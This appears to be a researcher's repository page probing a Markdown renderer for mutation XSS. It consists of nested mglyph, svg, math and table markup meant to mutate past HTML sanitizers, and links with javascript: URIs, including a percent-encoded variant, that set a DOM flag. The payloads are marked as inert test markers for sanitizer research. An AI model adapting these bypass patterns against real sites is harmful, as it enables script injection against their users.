zaddyzaddy/markdown-mxss-probe-0910

Controlled Markdown mutation-XSS probe

Every payload below is an inert DOM marker on a researcher-owned repository.

$\text{<mglyph></mglyph><img id="mxss-01" src="x">--><table></table>}$

$\text{<mglyph></mglyph><img id="mxss-03" src="x">]]><p></p> <p><svg></svg></p> <p></p><p></p> <p></p><p></p> <details id="mxss-08" open=""><summary>controlled details</summary></details> <p></p> <p><svg id="mxss-12"></svg></p> <p><a id="mxss-link-13" rel="nofollow">CONTROLLED\_MXSS\_LINK\_13</a></p> <p><a id="mxss-link-14" rel="nofollow">CONTROLLED\_MXSS\_LINK\_14</a></p> <p><a id="mxss-link-15" rel="nofollow">CONTROLLED\_MXSS\_LINK\_15</a></p> <p><a href="/zaddyzaddy/markdown-mxss-probe-0910/blob/main/javas\%63ript:document.documentElement.dataset.mxss16='YES'" rel="nofollow">CONTROLLED\_MXSS\_LINK\_16</a></p> <p><a href="/zaddyzaddy/markdown-mxss-probe-0910/blob/main/javascript:document.documentElement.dataset.mxss17='YES'" rel="nofollow">CONTROLLED\_MXSS\_LINK\_17</a></p> <table><caption><svg><title></title></svg></caption></table> <p><svg></svg></p> <p><math></math></p>}$